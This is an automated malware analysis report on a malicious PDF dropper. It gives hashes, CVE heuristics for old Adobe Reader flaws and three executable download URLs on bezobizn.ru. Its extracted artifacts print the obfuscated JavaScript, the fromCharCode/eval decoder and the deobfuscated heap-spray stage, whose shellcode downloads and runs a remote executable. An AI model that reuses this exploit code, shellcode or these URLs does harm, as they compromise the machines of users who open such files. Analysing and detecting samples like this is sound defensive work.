Malicious PDF — malware analysis report

Static analysis result for SHA-256 c94d580d66559f88…

MALICIOUS

PDF

7.0 KB Created: 2009-09-21 19:47:01 Authoring application: Eblasha 8.2.10.3 (via PDF Library 10.10.7.1) First seen: 2013-10-08
MD5: bcec35292969d7fd6253dd4a67cd3297 SHA-1: 9b1c50f003891482d38489a861fa8dc26dfccee9 SHA-256: c94d580d66559f88f253780891a4d22dd7a5fff3094718f168ad034302bc1e28
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file was flagged by ClamAV as 'Pdf.Dropper.Agent-7303203-0' and contains embedded JavaScript. Heuristics indicate the use of eval() and String.fromCharCode, suggesting obfuscation. The primary function of the embedded JavaScript appears to be downloading and executing a secondary payload, as indicated by the ML classifier and the presence of JavaScript streams. The obfuscation and dropper behavior point to a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7303203-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7303203-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var cgiqtuz=0, bcdghksty='';cgiqtuz<5292;cgiqtuz++){bcdghksty += String.fromCharCode(fra[cgiqtuz]-'aFGHJmN'.substring(cgiqtuz%'aFGHJmN'.length,cgiqtuz%'aFGHJmN'.length+1).charCodeAt(0));}eval(bcdghksty);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/cdmnruvwy3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/befglprx3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/gnorsuv3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21166 bytes
SHA-256: 0008876a02b9ba648c5f909a8dd112eee54125d3997d0c7f4ededebe49d8377f
Preview script
First 1,000 lines of the extracted script
var fra=[199,187,181,171,190,214,189,207,102,173,177,194,204,183,213,110,192,169,188,224,190,141,178,172,182,115,232,197,201,175,179,173,114,230,175,211,185,183,118,182,210,188,200,186,175,114,124,169,186,198,180,112,195,195,206,192,212,182,114,133,195,206,192,212,182,130,197,84,230,175,211,185,183,133,195,206,192,212,182,117,187,191,207,193,213,184,176,182,177,149,126,141,178,172,182,121,159,119,156,184,172,188,191,223,188,129,191,168,186,189,221,137,222,80,173,189,184,208,194,202,181,181,104,191,225,183,205,165,183,186,179,219,194,199,110,112,195,192,206,192,129,182,168,193,182,220,175,197,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,123,124,179,115,214,124,139,126,126,146,195,152,120,125,141,111,226,133,151,125,124,109,191,164,135,152,125,108,189,124,178,129,148,107,188,127,130,163,131,134,187,119,120,128,162,112,138,129,189,169,188,141,188,208,182,132,189,184,210,193,196,167,183,173,114,143,115,214,118,136,120,139,146,195,145,135,119,137,111,226,126,162,118,136,109,191,157,143,145,135,105,113,84,227,175,211,102,175,173,171,221,176,205,181,170,179,135,219,189,209,113,183,169,195,217,189,194,170,130,190,171,223,110,195,175,174,170,182,220,177,204,131,188,182,175,224,177,194,182,172,112,108,146,195,145,135,119,137,111,226,126,162,118,136,106,115,168,196,194,184,103,176,175,206,178,198,184,186,177,196,210,139,147,118,130,190,171,223,110,212,182,185,169,195,170,182,198,167,171,173,188,224,183,219,171,114,176,175,206,190,195,178,182,171,181,155,186,198,180,174,188,178,168,197,201,175,179,173,114,207,183,200,168,179,183,173,216,124,205,171,181,175,190,213,138,212,182,185,169,195,150,201,195,175,174,170,182,220,177,204,113,132,170,179,212,176,205,181,170,179,133,234,88,215,167,185,104,176,214,186,205,168,179,183,173,216,139,195,175,174,170,182,220,177,204,116,186,189,172,224,194,211,175,181,175,114,157,122,212,182,185,169,195,150,137,215,167,185,104,172,217,189,196,177,132,170,179,212,176,205,181,170,179,120,224,195,195,185,187,186,179,219,181,137,118,115,170,179,212,176,205,181,170,179,120,217,179,207,173,187,176,119,224,190,211,167,192,113,133,228,182,202,178,172,112,172,217,189,196,177,117,180,175,219,181,213,174,114,187,186,223,175,218,130,119,192,126,157,126,145,118,112,195,172,217,189,196,177,132,170,182,220,177,204,113,169,180,185,208,185,140,172,176,180,182,207,186,208,169,178,131,199,119,196,194,184,103,181,175,218,173,194,184,185,169,195,170,188,198,189,103,137,188,223,175,218,110,112,131,176,220,192,137,188,168,186,106,214,139,145,129,176,132,123,161,126,145,129,176,115,117,150,201,206,171,180,167,171,223,192,194,191,162,177,167,170,176,205,181,170,179,117,213,179,194,182,169,180,185,208,185,156,195,81,190,171,223,110,207,187,180,133,123,159,135,154,127,128,129,131,166,135,154,127,128,129,131,166,135,154,127,128,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,137,214,186,176,180,120,221,192,202,180,187,174,114,143,115,149,123,119,120,122,211,112,141,180,188,181,115,168,203,107,172,188,182,173,225,183,208,180,103,171,185,217,186,194,168,166,173,183,206,183,205,110,112,195,192,206,192,129,185,175,173,182,217,177,208,170,172,133,191,219,179,212,169,168,184,175,149,112,134,187,125,124,131,157,115,214,119,127,137,123,146,195,145,118,119,120,111,226,134,163,118,119,109,191,160,126,149,118,108,189,126,157,134,163,107,188,128,140,162,130,134,187,119,124,126,157,115,214,122,119,128,140,146,195,153,136,119,124,111,226,126,149,122,119,109,191,159,126,145,138,108,189,124,157,126,145,107,188,123,142,157,126,134,187,119,120,129,176,115,214,118,119,127,129,146,195,145,119,126,124,111,226,129,148,137,122,109,191,163,130,164,118,108,189,126,157,134,163,107,188,127,130,160,126,134,187,127,138,122,176,115,214,118,138,124,122,146,195,152,118,127,138,111,226,143,165,119,138,109,191,162,134,153,136,108,189,143,175,126,153,107,188,128,140,157,135,134,187,122,124,126,157,115,214,122,119,128,142,146,195,153,136,126,139,111,226,129,164,123,127,109,191,161,130,151,135,108,189,142,158,131,162,107,188,122,140,178,128,134,187,127,138,143,159,115,214,139,137,141,141,146,195,150,135,123,142,111,226,134,148,123,121,109,191,162,132,166,135,108,189,127,162,134,154,107,188,125,128,157,130,134,187,127,138,127,164,115,214,121,138,127,125,146,195,152,122,127,138,111,226,133,153,121,122,109,191,179,129,145,121,108,189,130,175,131,151,107,188,122,122,164,132,134,187,141,123,122,160,115,214,137,128,123,125,146,195,150,118,123,129,111,226,143,165,122,120,109,191,179,148,148,121,108,189,122,179,129,151,107,188,121,126,175,147,134,187,122,128,122,160,115,214,125,123,142,124,146,195,164,119,119,128,111,226,126,165,137,141,109,191,179,143,145,121,108,189,143,175,130,145,107,188,125,130,178,148,134,187,141,128,125,175,115,214,139,124,127,127,146,195,153,136,124,141,111,226,128,149,122,125,109,191,176,129,145,121,108,189,130,175,132,151,107,188,124,130,157,145,134,187,124,126,130,175,115,214,118,122,121,141,146,195,153,136,139,123,111,226,134,162,118,123,109,191,176,129,145,121,108,189,127,178,131,167,107,188,139,125,162,126,134,187,126,140,130,177,115,214,123,126,120,130,146,195,163,126,124,122,111,226,145,162,121,122,109,191,162,144,153,135,108,189,139,159,147,153,107,188,142,144,179,148,134,187,122,122,144,179,115,214,126,137,139,122,146,195,167,120,141,127,111,226,130,167,135,140,109,191,164,131,163,126,108,189,128,162,128,166,107,188,137,140,164,134,134,187,128,128,128,163,115,214,135,137,126,128,146,195,164,118,122,123,111,226,132,146,136,127,109,191,157,126,151,122,108,189,127,157,126,145,107,188,125,126,163,134,134,187,126,122,128,165,115,214,121,124,126,127,146,195,146,137,121,124,111,226,133,149,124,128,109,191,162,130,150,118,108,189,140,165,131,148,107,188,142,141,174,143,134,187,126,139,122,177,115,214,123,124,142,144,146,195,153,136,119,124,111,226,134,148,140,127,109,191,157,145,164,122,108,189,128,176,144,145,107,188,141,122,165,143,134,187,124,120,131,165,115,214,124,141,126,130,146,195,147,139,125,141,111,226,132,153,124,123,109,191,164,128,152,123,108,189,128,177,132,164,107,188,138,130,162,130,134,187,123,141,130,178,115,214,139,138,120,143,146,195,150,123,141,142,111,226,135,148,118,123,109,191,160,129,150,118,108,189,127,157,145,145,107,188,125,128,162,126,134,187,124,125,130,175,115,214,126,122,120,126,146,195,152,140,138,122,111,226,145,147,126,122,109,191,162,128,149,137,108,189,140,165,131,145,107,188,121,139,160,132,134,187,126,120,124,179,115,214,123,124,142,144,146,195,150,136,119,124,111,226,131,151,123,126,109,191,166,134,163,126,108,189,130,174,148,166,107,188,142,144,157,147,134,187,119,124,127,162,115,214,118,119,126,139,146,195,165,125,141,142,111,226,133,149,124,127,109,191,164,126,152,122,108,189,124,179,129,162,107,188,126,124,159,148,134,187,126,137,128,162,115,214,124,121,126,144,146,195,152,135,125,129,111,226,128,166,124,140,109,191,164,131,152,120,108,189,128,159,128,167,107,188,126,128,163,131,134,187,125,139,128,164,115,214,125,121,127,122,146,195,148,121,126,128,111,226,132,150,120,140,109,191,163,131,152,126,108,189,122,157,126,145,104,112,131,192,206,192,129,179,172,181,169,206,192,211,167,192,133,184,210,197,129,135,185,186,171,230,118,138,129,189,169,188,141,177,196,131,119,192,122,208,126,196,118,170,120,173,168,196,194,184,103,169,174,209,192,158,118,191,124,122,157,126,145,118,130,190,171,223,110,212,169,166,180,175,219,139,212,174,172,180,182,208,189,197,171,117,180,175,219,181,213,174,113,122,133,227,175,211,102,179,173,184,170,175,197,170,185,117,114,224,177,192,178,172,182,117,157,198,148,126,112,131,192,206,192,129,191,168,186,189,221,139,214,180,172,187,173,206,190,198,110,105,109,191,166,126,154,118,108,189,131,157,135,145,104,112,131,195,206,192,212,182,132,174,179,229,173,202,186,111,193,171,223,193,209,114,179,173,184,150,137,215,167,185,104,173,220,195,207,186,121,133,114,208,177,142,118,191,124,122,157,126,145,118,112,119,171,209,178,211,129,173,183,188,149,196,194,184,103,171,185,226,188,213,131,119,131,173,220,195,207,186,131,171,185,226,188,213,120,130,171,185,226,188,213,113,114,113,197,218,179,206,165,168,186,188,206,199,188,169,182,189,184,225,171,158,191,168,186,189,221,121,212,174,172,180,182,208,189,197,171,130,197,84,227,175,211,102,182,190,175,223,180,205,181,190,133,191,219,179,212,169,168,184,175,149,112,134,187,119,171,122,208,115,214,118,170,120,173,143,119,156,189,175,177,182,210,118,208,188,172,186,176,217,189,216,116,179,173,184,212,194,201,130,123,124,131,162,128,138,193,182,190,175,223,180,205,181,190,115,135,220,196,198,184,173,180,185,228,137,222,80,187,176,179,224,124,196,181,179,180,171,207,161,213,181,185,173,135,176,189,205,178,168,170,120,208,189,205,178,172,171,190,178,187,194,175,179,145,184,211,189,137,193,186,189,172,215,136,131,104,115,181,189,212,136,208,188,172,186,176,217,189,216,195,112,131,199,119,180,214,180,170,188,179,220,188,129,169,182,180,182,206,176,192,173,172,188,179,208,189,207,110,112,195,179,211,118,194,182,183,118,174,220,177,143,137,182,180,182,206,176,143,173,172,188,147,208,189,207,111,194,190,171,223,110,194,184,185,193,135,219,179,216,102,136,186,188,206,199,137,111,130,190,171,223,110,215,188,183,173,190,213,199,194,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,127,124,179,115,214,124,141,126,143,146,195,152,121,126,122,111,226,133,151,125,124,109,191,159,147,148,121,108,189,129,165,132,150,107,188,120,122,163,131,131,111,130,190,171,223,110,201,157,184,125,122,157,145,175,131,189,190,186,210,194,201,191,168,118,182,210,188,200,186,175,114,124,168,196,194,184,103,180,175,219,139,145,190,123,120,122,157,126,145,115,111,176,161,222,131,145,118,138,150,117,157,198,148,126,112,131,192,206,192,129,191,168,186,189,221,139,214,180,172,187,173,206,190,198,110,105,109,191,166,126,154,118,108,189,131,157,135,145,104,112,131,195,206,192,212,182,132,174,179,229,173,202,186,111,193,171,223,193,209,114,179,173,184,150,137,215,167,185,104,186,162,143,203,145,125,125,176,170,118,145,190,119,171,122,208,126,196,118,170,117,122,229,130,145,118,119,120,122,150,125,145,190,123,120,122,157,126,145,129,173,183,188,149,196,194,184,103,190,187,208,159,165,127,125,193,135,157,137,215,183,170,153,142,166,132,218,130,183,125,139,215,153,151,123,173,131,192,222,177,178,138,128,126,195,152,121,138,193,168,186,188,230,169,215,183,170,153,142,166,132,218,163,132,193,171,223,193,209,113,189,190,186,210,194,201,191,168,131,199,119,196,194,184,103,188,159,186,182,175,168,142,191,135,226,188,198,185,170,169,186,210,118,131,107,119,129,108,150,137,216,174,176,180,175,149,194,182,147,175,150,172,180,197,143,178,172,182,177,225,182,157,118,191,124,122,157,126,138,193,187,157,151,213,156,195,141,190,115,135,225,163,174,174,149,170,145,228,137,222,80,187,157,151,213,156,195,141,190,133,108,187,124,131,113,187,157,151,213,156,195,141,190,131,171,221,190,143,170,182,171,120,176,189,205,178,168,170,120,212,179,213,143,170,183,184,149,194,182,147,175,150,172,180,197,138,129,196,197,84,211,195,207,169,187,177,185,219,110,209,170,173,167,189,225,175,211,186,111,113,197,227,175,211,102,189,173,188,224,183,208,180,132,169,186,221,124,215,175,172,191,175,223,164,198,184,186,177,185,219,124,213,181,154,188,188,214,188,200,110,112,131,192,210,192,212,175,182,182,135,227,179,211,185,176,183,184,155,192,198,182,179,169,173,210,118,144,162,139,119,177,153,117,136,111,130,190,171,223,110,215,167,185,187,179,220,188,192,167,185,186,171,230,139,207,171,190,104,139,223,192,194,191,111,190,175,223,193,202,181,181,118,173,213,175,211,135,187,112,122,150,122,215,171,185,187,179,220,188,143,169,175,169,188,174,194,137,119,112,116,192,210,192,212,175,182,182,120,208,182,194,184,136,188,114,159,119,138,129,176,174,114,149,196,194,184,186,177,185,219,173,194,184,185,169,195,200,126,190,131,132,128,115,147,116,137,188,168,186,189,214,189,207,165,168,186,188,206,199,188,119,164,133,135,157,119,221,194,111,190,171,223,193,202,181,181,167,171,223,192,194,191,162,121,167,170,139,146,108,109,190,171,223,193,202,181,181,167,171,223,192,194,191,162,122,167,169,129,138,111,194,189,190,214,186,192,182,185,177,184,225,180,137,111,130,197,84,214,180,137,110,189,169,188,224,183,208,180,166,169,188,223,175,218,161,119,165,134,165,119,221,194,111,190,171,223,193,202,181,181,167,171,223,192,194,191,162,120,167,170,139,153,108,109,190,171,223,193,202,181,181,167,171,223,192,194,191,162,121,167,169,128,135,108,189,169,188,224,183,208,180,166,169,188,223,175,218,161,121,165,134,159,119,138,193,170,183,182,217,175,195,165,172,181,171,214,186,137,111,130,197,84,214,180,137,110,189,169,188,224,183,208,180,166,169,188,223,175,218,161,119,165,134,166,119,221,194,111,190,171,223,193,202,181,181,167,171,223,192,194,191,162,120,167,170,139,154,108,109,190,171,223,193,202,181,181,167,171,223,192,194,191,162,121,167,169,127,138,111,194,171,185,217,186,194,168,166,175,175,225,183,196,181,181,112,115,168,203,222,80,183,172,176,204,193,213,167,185,188,114,150,137];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x17F1 208 bytes
SHA-256: e0be56e57011123fd9f7a018ed8c14332472fe2b4899d767ff451dd498343f1b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var cgiqtuz=0, bcdghksty='';cgiqtuz<5292;cgiqtuz++){bcdghksty += String.fromCharCode(fra[cgiqtuz]-'aFGHJmN'.substring(cgiqtuz%'aFGHJmN'.length,cgiqtuz%'aFGHJmN'.length+1).charCodeAt(0));}eval(bcdghksty);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5292 bytes
SHA-256: dbea2a0a71c434b0c702ff0365f5d9e6da4c43096f81c73de743e4acce47c516
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u6D64%u726E%u7675%u7977%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
